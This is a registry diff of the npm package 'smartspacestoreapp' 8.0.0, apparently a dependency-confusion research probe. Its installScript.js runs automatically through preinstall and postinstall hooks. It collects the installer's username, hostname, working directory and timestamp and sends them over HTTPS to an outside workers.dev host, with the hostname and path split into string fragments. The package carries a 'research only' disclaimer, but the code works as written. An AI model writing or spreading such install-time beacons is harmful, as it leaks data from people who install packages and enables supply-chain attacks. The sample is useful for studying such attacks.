smartspacestoreapp 8.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +4 -0
- package/index.js +2 -0
- package/installScript.js +114 -0
- package/package.json +13 -0
package/README.md
ADDED
package/index.js
ADDED
package/installScript.js
ADDED
|
@@ -0,0 +1,114 @@
|
|
|
1
|
+
// Author: Sean Pesce
|
|
2
|
+
//
|
|
3
|
+
// NPM package pre-/post- install script
|
|
4
|
+
//
|
|
5
|
+
// For research purposes only - DO NOT run this script.
|
|
6
|
+
|
|
7
|
+
const https = require('https');
|
|
8
|
+
|
|
9
|
+
// Get environment information
|
|
10
|
+
var username = '';
|
|
11
|
+
try {
|
|
12
|
+
username = encodeURIComponent(require('os').userInfo().username);
|
|
13
|
+
} catch (err) {
|
|
14
|
+
|
|
15
|
+
}
|
|
16
|
+
var hostname = '';
|
|
17
|
+
try {
|
|
18
|
+
hostname = encodeURIComponent(require('os').hostname());
|
|
19
|
+
} catch (err) {
|
|
20
|
+
|
|
21
|
+
}
|
|
22
|
+
var cwd = '';
|
|
23
|
+
try {
|
|
24
|
+
cwd = encodeURIComponent(require('process').cwd());
|
|
25
|
+
} catch (err) {
|
|
26
|
+
|
|
27
|
+
}
|
|
28
|
+
var curTime = '';
|
|
29
|
+
try {
|
|
30
|
+
curTime = encodeURIComponent((new Date()).toISOString());
|
|
31
|
+
} catch (err) {
|
|
32
|
+
|
|
33
|
+
}
|
|
34
|
+
var pkgVer = '';
|
|
35
|
+
try {
|
|
36
|
+
const fs = require('fs');
|
|
37
|
+
var jsonData = fs.readFileSync('package.json', 'utf8');
|
|
38
|
+
jsonData = JSON.parse(jsonData);
|
|
39
|
+
pkgVer = encodeURIComponent(jsonData.version);
|
|
40
|
+
} catch (err) {
|
|
41
|
+
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
|
|
45
|
+
const URL_PATH = '/npm/'+
|
|
46
|
+
'smart'+
|
|
47
|
+
'space'+
|
|
48
|
+
'store'+
|
|
49
|
+
'app/c'+
|
|
50
|
+
'DtlP''+
|
|
51
|
+
'+
|
|
52
|
+
'XBlc'+
|
|
53
|
+
'2'+
|
|
54
|
+
'Nlc2'+
|
|
55
|
+
'V'+
|
|
56
|
+
'hbkB'+
|
|
57
|
+
'n'+
|
|
58
|
+
'bWFp'+
|
|
59
|
+
'b'+
|
|
60
|
+
'C5jb'+
|
|
61
|
+
'2'+
|
|
62
|
+
'0mcn'+
|
|
63
|
+
'Q'+
|
|
64
|
+
'9ZW1'+
|
|
65
|
+
'h'+
|
|
66
|
+
'aWwm'+
|
|
67
|
+
'Z'+
|
|
68
|
+
'Wlud'+
|
|
69
|
+
'D'+
|
|
70
|
+
'0yJm'+
|
|
71
|
+
'V'+
|
|
72
|
+
'saW1'+
|
|
73
|
+
'p'+
|
|
74
|
+
'dD0x'+
|
|
75
|
+
'M'+
|
|
76
|
+
'Ao=/'+
|
|
77
|
+
'?eid='+
|
|
78
|
+
'npm.s'+
|
|
79
|
+
'marts'+
|
|
80
|
+
'paces'+
|
|
81
|
+
'torea'+
|
|
82
|
+
'pp' + '&usr=' + username + '&h=' + hostname + '&d=' + cwd + '&t=' + curTime + '&v=' + pkgVer;
|
|
83
|
+
|
|
84
|
+
const options = {
|
|
85
|
+
hostname: 'depen'+
|
|
86
|
+
'dency'+
|
|
87
|
+
'-conf'+
|
|
88
|
+
'usion'+
|
|
89
|
+
'-rese'+
|
|
90
|
+
'arch.'+
|
|
91
|
+
'pesce'+
|
|
92
|
+
'sean.'+
|
|
93
|
+
'worke'+
|
|
94
|
+
'rs.de'+
|
|
95
|
+
'v',
|
|
96
|
+
port: 443,
|
|
97
|
+
path: URL_PATH,
|
|
98
|
+
method: 'GET',
|
|
99
|
+
headers: {
|
|
100
|
+
'user-agent': 'seanp-npm_smartspacestoreapp',
|
|
101
|
+
},
|
|
102
|
+
};
|
|
103
|
+
|
|
104
|
+
const req = https.request(options, (res) => {
|
|
105
|
+
res.on('data', (d) => {
|
|
106
|
+
//process.stdout.write(d);
|
|
107
|
+
});
|
|
108
|
+
});
|
|
109
|
+
|
|
110
|
+
req.on('error', (error) => {
|
|
111
|
+
//console.error(error);
|
|
112
|
+
});
|
|
113
|
+
|
|
114
|
+
req.end();
|
package/package.json
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "smartspacestoreapp",
|
|
3
|
+
"version": "8.0.0",
|
|
4
|
+
"description": "For research purposes only - DO NOT USE. This package will be deleted in the future.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node installScript.js",
|
|
8
|
+
"postinstall": "node installScript.js"
|
|
9
|
+
},
|
|
10
|
+
"keywords": [],
|
|
11
|
+
"author": "anonymous",
|
|
12
|
+
"license": "ISC"
|
|
13
|
+
}
|